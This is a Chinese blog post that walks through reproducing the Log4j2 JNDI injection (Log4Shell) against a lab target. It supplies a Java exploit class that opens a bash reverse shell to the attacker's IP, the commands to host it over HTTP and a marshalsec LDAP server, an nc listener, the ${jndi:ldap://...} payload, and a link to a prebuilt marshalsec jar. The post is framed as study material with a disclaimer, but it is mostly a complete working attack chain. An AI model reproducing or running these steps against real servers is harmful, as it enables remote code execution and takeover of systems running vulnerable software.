- 1、构造EXP
- 2、使用javac进行编译
- 3、将.class文件放到web根目录下
- 4、使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个ldap的服务
- 5、nc开启监听
- 6、准备工作完毕,上payload
- 7、靶场测试
- 8、成功反弹shell
最近log4j2可谓是无人不知无人不晓,出去吹牛不知道这个还好意思说自己是做安全的嘛!今天我就来复现一下
1、构造EXPimport java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
public Exploit() throws Exception {
//创建一个进程的实例
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/1234 0>&1"});
InputStream is = p.getInputStream();//输入流
BufferedReader reader = new BufferedReader(new InputStreamReader(is));//输入流缓冲区
String line;
while((line = reader.readLine()) != null) {//循环读取缓冲区中的数据
System.out.println(line);//输出获取 的数据
}
p.waitFor();//waitFor:返回该Process对象代表的进程的出口值,值0表示正常退出,非0非正常。
is.close();
reader.close();
p.destroy();//destroy:杀掉该Process对象代表的进程。
}
public static void main(String[] args) throws Exception {
}
}
其实说白了就是一个反弹shell的命令执行
2、使用javac进行编译
会看到文件夹里多了个.class文件,这个就是我们需要用的攻击载荷
这里可以使用python开启一个简单的http服务:python -m SimpleHTTPServer 80
python3开启服务命令:python -m http.server 80
将文件夹中的.java文件删除,然后在目录下执行这条命令就可以了,我这里监听了80端口,可以自己改
可以看到能够成功访问
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 9999
这里放一下这个jar包的链接,这是我自己用jdk1.8编译的,方便没有环境的人使用(今天找了半天现成的没找到,折腾了半天还是自己动手丰衣足食!):https://pan.baidu.com/s/1BZwbcu6r4eLXtp8t97gLnQ
提取码:8503
github上有源码,但是需要自己进行编译:https://github.com/mbechler/marshalsec
说明一下:这里的url填的是自己开启的http服务,9999表示ldap服务监听的端口
因为我java类中监听的是1234端口,这里要保持一致,别写错了
nc -lvvp 12346、准备工作完毕,上payload
${jndi:ldap://ip:9999/Exploit}
7、靶场测试
8、成功反弹shell
注意事项:靶场是在一个大佬的公众号上看到的,就不贴出来了,由于这个靶场是在公网上,所以做实验时需要有外网的ip才能进行(就是在服务器上进行,不然别人访问不到你,自然不会下载什么exp了)。如果实验不成功,记得检查云服务控制台里的安全规则,看所涉及的端口是否都是允许开放的。
本文只用于学习交流,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。



